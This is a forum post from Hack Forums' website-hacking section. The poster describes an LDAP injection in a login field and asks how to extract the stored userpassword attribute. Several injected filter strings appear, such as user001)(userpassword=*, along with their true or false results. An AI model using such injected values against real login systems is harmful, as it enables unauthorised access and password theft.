+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: Ldap injection (/showthread.php?tid=5644275)
Ldap injection - lekane - Jun 11, 2017
Hello,
First, sorry for my bad english, I don't speak very well english, I'm french.
I am actually exploiting an injection ldap but I am confronted to a problem.
I have access to all the attribute (name, surname, mail, phone, address, etc....) only one, the password !
The query is like (&(login=$[username])) and the password is stored in the attribute userpassword.
I have create an account that the username is user001 and password is plage
When I type user001)(userpassword=* in the field username, it return true
But when I type :
- user001)(userpassword=p*)
- user001)(userpassword=*a*)
- user001)(userpassword=plage)
it return false.
I also tried with b*, *c*, *d, *e*, *f*, *0*, *1*, *2*, etc... but it return false.
So I tried something else, I type user001)(!(userpassword=*), it return false
I type user001)(!(userpassword=jhdfhjkdsfhdsklfjgqs), it return true but when I type user001)(!(userpassword=*jhdfhjkdsfhdsklfjgqs*), it return false.
Also user001)(!(userpassword=plage) return true.
So I guess that the problem come from the wildcard and the password is encrypted.
Does anyone have a solution to have the right query to have the userpassword ?
Thank you very much for the help !
:)